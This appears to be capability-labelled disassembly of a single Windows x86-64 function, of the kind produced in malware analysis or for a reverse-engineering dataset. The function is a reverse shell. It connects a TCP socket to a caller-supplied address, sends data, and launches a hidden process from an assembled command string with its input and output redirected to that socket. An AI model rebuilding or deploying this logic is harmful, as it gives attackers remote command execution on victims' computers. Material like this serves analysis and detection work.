Function at 0x140013c60
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create process on windows
Create process suspended
Create tcp socket
Create udp socket
Initialize winsock library
Send data
Send data on socket

Disassembly:
jmp 0x140013c60
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x3b0
lea rdi, [rsp + 0x50]
mov ecx, 0xd8
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x3c0]
mov rax, qword [0x1401c40e0]
xor rax, rsp
mov qword [rsp + 0x3a0], rax
mov eax, 0x202
mov word [rsp + 0x334], ax
lea rdx, [rsp + 0x60]
movzx ecx, word [rsp + 0x334]
call qword [sym.imp.WS2_32.dll_WSAStartup]
lea rdx, [rsp + 0x60]
mov cx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 6
mov edx, 1
mov ecx, 2
call qword [sym.imp.WS2_32.dll_WSASocketA]
mov qword [rsp + 0x208], rax
mov eax, 2
mov word [rsp + 0x228], ax
movzx ecx, word [rsp + 0x3c8]
call qword [sym.imp.WS2_32.dll_htons]
mov word [rsp + 0x22a], ax
mov rcx, qword [rsp + 0x3c0]
call qword [sym.imp.WS2_32.dll_inet_addr]
mov dword [rsp + 0x22c], eax
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, send
lea rdx, [rsp + 0x228]
mov rcx, qword [rsp + 0x208]
call qword [sym.imp.WS2_32.dll_WSAConnect]
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
test eax, eax
jne 0x140013f2b
mov rcx, qword [rsp + 0x3d0]
call fcn.1400034a4
xor r9d, r9d
mov r8d, eax
mov rdx, qword [rsp + 0x3d0]
mov rcx, qword [rsp + 0x208]
call qword [sym.imp.WS2_32.dll_send]
mov r8d, 0x68
xor edx, edx
lea rcx, [rsp + 0x290]
call fcn.140004c5f
mov dword [rsp + 0x290], WSAGetLastError
mov dword [rsp + 0x2cc], 0x100
xor eax, eax
mov word [rsp + 0x2d0], ax
mov rax, qword [rsp + 0x208]
mov qword [rsp + 0x2f0], rax
mov rax, qword [rsp + 0x2f0]
mov qword [rsp + 0x2e8], rax
mov rax, qword [rsp + 0x2e8]
mov qword [rsp + 0x2e0], rax
lea rax, [0x1401717ac]
mov qword [rsp + 0x348], rax
lea rax, [0x1401717c4]
mov qword [rsp + 0x350], rax
lea rax, [0x1401717fc]
mov qword [rsp + 0x358], rax
lea rax, [0x140171834]
mov qword [rsp + 0x360], rax
movzx eax, byte [0x140171556]
mov byte [rsp + 0x388], al
lea rax, [rsp + 0x389]
mov rdi, rax
xor eax, eax
mov ecx, 7
rep stosb byte [rdi], al
mov eax, 8
imul rax, rax, 3
mov ecx, 8
imul rcx, rcx, 2
mov edx, 8
imul rdx, rdx, 1
mov edi, 8
imul rdi, rdi, 0
mov rax, qword [rsp + rax + 0x348]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + rcx + 0x348]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + rdx + 0x348]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + rdi + 0x348]
lea r8, str._s_s_s_s
mov edx, 8
lea rcx, [rsp + 0x388]
call fcn.140004791
lea rax, [rsp + 0x318]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x290]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x388]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rcx, qword [rsp + 0x208]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov rcx, rsp
lea rdx, [0x140172980]
call fcn.1400052db
mov rcx, qword [rsp + 0x3a0]
xor rcx, rsp
call fcn.140003747
add rsp, 0x3b0
pop rdi
ret